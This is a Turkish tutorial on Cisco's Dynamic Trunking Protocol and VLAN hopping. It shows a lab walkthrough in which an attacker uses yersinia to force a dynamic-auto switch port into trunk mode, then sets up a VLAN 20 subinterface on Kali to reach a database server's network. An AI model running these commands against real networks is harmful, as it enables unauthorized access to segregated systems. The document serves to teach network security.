DTP Protokolü ve Saldırı Yöntemleri

Dinamik Trunk
Protokolü(DTP)
Dinamik Trunk
Protokolü, sanal ağlara(VLAN) sahip katman 2 cihazlarının arasındaki bağlantı
türlerini, anlaşmalar(negotiation) yoluyla otomatik olarak belirleyen, Cisco
Sistemleri tarafından geliştirilmiş ağ protokolüdür. DTP, katman 2’de
çalışmaktadır.
           
            Katman
2 cihazlarının sahip olduğu arayüzler kullanım ihtiyacına göre
ayarlanabilmektedir.
  • Access Modu: Genellikle
    istemci/sunucu makinelerle bağlantı aşamasında kullanılmaktadır. Access
    modu aktif olan arayüzlere yalnızca bir sanal ağ atanabilmektedir. Bu
    modda DTP protokolünün etkisi bulunmamaktadır.
Switch(config)#interface
fastEthernet 1/15
Switch(config-if)#switchport
mode access
Switch(config-if)#switchport
access vlan 10
  • Trunk Modu: Genellikle
    switch-switch veya switch-router bağlantılarında kullanılmaktadır. Trunk
    modu ayarlanmış arayüzlerde birden fazla sanal ağ bağlantı yapmak mümkün
    olmaktadır. Bu modda DTP anlaşması gerçekleşmesi mümkün olmaktadır.
Switch(config)#interface
fastEthernet 1/0
Switch(config-if)#switchport
mode trunk
            DTP
protokolünün tam anlamıyla devreye girdiği diğer iki mod ise ‘Dynamic Auto’ ve
‘Dynamic Desirable’ modlarıdır. Tüm modların birbirlerine karşı davranışları ve
buna karşılık  iki cihaz arasında belirlenecek bağlantı modu aşağıda
bulunmaktadır.
Switchport Modları
Dynamic Auto
Dynamic Desirable
Trunk
Access
Dynamic Auto
Access
Trunk
Trunk
Access
Dynamic Desirable
Trunk
Trunk
Trunk
Access
Trunk
Trunk
Trunk
Trunk
Sınırlı Bağlantı
Access
Access
Access
Sınırlı Bağlantı
Access
            DTP
Protokolü karmaşık ağ topolojilerinde yeni cihazların eklenip çıkarılması
sırasında yapılması gereken ayarlamaların bir çoğunu otomatik olarak
gerçekleştirdiği için oldukça kullanışlı olmaktadır.
VLAN Hopping Saldırı
Yöntemi
            DTP
protokolünde portların hangi modda çalışacağına anlaşmalar(negotiation)
aracılığıyla karar verilmektedir. Dolayısıyla saldırganın, DTP protokolünün
aktif olduğu bir portun modunu kendi isteğine göre değiştirmesi mümkündür.
Örnek verilecek olursa, bir ağ topolojisinde iki adet sanal ağ(VLAN)
bulunmaktadır. Sanal ağlardan birisi(VLAN ID:10) normal kullanıcılara hizmet
vermektedir. Diğeri(VLAN ID:20) ise içerisinde Veritabanı Sunucusu
bulundurmaktadır. Saldırgan, sunucunun bulunduğu sanal ağa(VLAN ID:20)
bağlanmak istemektedir. Fakat konumu sebebiyle VLAN ID: 10 ağına
bağlanabilmektedir. Eğer bağlandığı switch’de sadece VLAN ID:10 erişimine izin
verilen portlardan farklı bir port(dynamic auto, dynamic desirable veya trunk
mod) mevcutsa diğer sanal ağlara bağlanması mümkün olmaktadır.

Screenshot from 2015-07-29 17:43:44.png

            Saldırgan,
switch üzerinde kullanıcılara ayrılmış portlardan biri aracılığıyla
bağlandığında VLAN ID:10 sanal ağından bir ip aldığı görülmektedir.
Switch2# show
interface status
Port      Name
              Status              Vlan     Duplex
   Speed   Type
Fa1/0
                          connected       trunk    full          100
       10/100BaseTX
Fa1/1
                          notconnect
     1                   auto       auto
      10/100BaseTX
Fa1/2
                          notconnect
     1                   auto       auto
      10/100BaseTX
Fa1/11
                        notconnect
     10        auto    
   auto       10/100BaseTX
Fa1/12
                        connected     10        full         100
       10/100BaseTX
Fa1/13
                        connected       10        full          100
       10/100BaseTX
Not: Örnek çıktıda
portların hepsi gösterilmemiştir.
root@kali:~# dhclient
-v eth0
DHCPDISCOVER on eth0 to
255.255.255.255 port 67 interval 8
DHCPREQUEST on eth0 to
255.255.255.255 port 67
DHCPOFFER from 10.1.10.1
DHCPACK from 10.1.10.1
Reloading
/etc/samba/smb.conf: smbd only.
bound
to 10.1.10.2 — renewal in 38255 seconds.
            Switch2
üzerinde ‘show interface status’ komutuyla alınan çıktıda ‘Fa1/11’, ‘Fa1/12’ ve
‘Fa1/13’ portlarının ‘switchport’ modunun access modunda olduğunu ve sadece
VLAN ID:10 ağı için geçişlere izin verildiği görülmektedir. Fakat ‘Fa1/1’ ve
‘Fa1/2’ portları dynamic auto modunda bırakılmıştır. Böylece o portlardan
bağlanan saldırgan, switch üzerindeki ‘Fa1/1’ veya ‘Fa1/2’ modunu değiştirme
imkanına sahip olmaktadır. Saldırgan artık switche ‘Fa1/1’ portundan erişim
sağlamaktadır.
Switch2# show
interface status
Port      Name
              Status              Vlan     Duplex
    Speed      Type
Fa1/0
                          connected
      trunk    full           100
          10/100BaseTX
Fa1/1
                          connected
      1        a-full
        a-100
      10/100BaseTX
Fa1/2
                          notconnect
     1          auto
         auto
         10/100BaseTX
Fa1/11
                        notconnect
     10        auto
         auto
         10/100BaseTX
Fa1/12
                        notconnect
     10        auto
         auto
         10/100BaseTX
Fa1/13
                        connected
      10        full
            100
          10/100BaseTX
            Switchin
‘Fa1/1’ portu dynamic auto modunda olduğu için saldırganın makinesindeki portun
‘Switchport’ moduna göre davranmaktadır. Saldırgan, yersinia aracını kullanarak
kendi arayüzünde trunk modu aktif hale getirmektedir.
root@kali:~# yersinia
dtp -attack 1 -interface eth0
<*> Starting NONDOS
attack enabling trunking…
<*>
Press any key to stop the attack <*>
Switch2# show
interface status
Port      Name
              Status              Vlan     Duplex
    Speed      Type
Fa1/0
                          connected
      trunk    full           100
          10/100BaseTX
Fa1/1
                          connected
     trunk   a-full
        a-100
      10/100BaseTX
Fa1/2
                          notconnect
     1          auto
         auto
         10/100BaseTX
Fa1/11
                        notconnect
     10        auto
         auto
         10/100BaseTX
Fa1/12
                        notconnect
     10        auto
         auto
         10/100BaseTX
Fa1/13
                        connected
      10        full
            100
          10/100BaseTX
            Switch
üzerindeki ‘Fa1/1’ portu artık trunk moda geçtiği için üzerinden tüm sanal
ağlarla ilgili bağlantıları geçirebilmektedir. Bu noktadan sonra saldırgan
kendi makinesinde gerekli ayarlamaları yaparak istediği sanal ağ’a bağlanıp ip
alabilmektedir.
Linux Üzerinde Sanal
Ağ(VLAN) Ayarlamaları
            İlk olarak 8021q
modülünün çalışır durumda olduğundan emin olunmalıdır.
root@kali:~# lsmod |
grep 8021q
root@kali:~#
           
            Modül
çalışır duruma getirmek için aşağıdaki komut kullanılır.
root@kali:~#
modprobe 8021q
            ‘ip’
komutu ile eth0 arayüzü üzerinden VLAN ID:20 için vlan bağlantısı oluşturulur.
root@kali:~# ip link
add link eth0 name eth0.10 type vlan id 20
root@kali:~# ip link
..
2: eth0:
<BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
mode DEFAULT qlen 1000
            link/ether 08:00:27:98:c4:6b brd ff:ff:ff:ff:ff:ff
3: eth0.10@eth0:
<BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN mode DEFAULT
            link/ether 08:00:27:98:c4:6b brd
ff:ff:ff:ff:ff:ff
            Eğer
statik ip verilmek isteniyorsa aşağıdaki komut kullanılabilir.
root@kali:~#
ip addr add 10.1.20.3/24 brd 10.1.20.255 dev eth0.10
Bu
uygulamada vlan bağlantısı aktif hale getirilip ‘dhclient’ komutu ile DHCP
Sunucusundan ip alınmaktadır.
root@kali:~# ip link
set dev eth0.10 up
root@kali:~# dhclient
-v eth0.10
DHCPDISCOVER on eth0.10
to 255.255.255.255 port 67 interval 4
DHCPREQUEST on eth0.10 to
255.255.255.255 port 67
DHCPOFFER from 10.1.20.1
DHCPACK from 10.1.20.1
Reloading
/etc/samba/smb.conf: smbd only.
bound
to 10.1.20.4 — renewal in 39393 seconds.
            Saldırgan,
Veritabanı Sunucusunun bulunduğu sanal ağa(VLAN ID:20) bağlanmış ve Sunucuya
ping atabilecek duruma gelmektedir.

Yazar: Barış DURKUT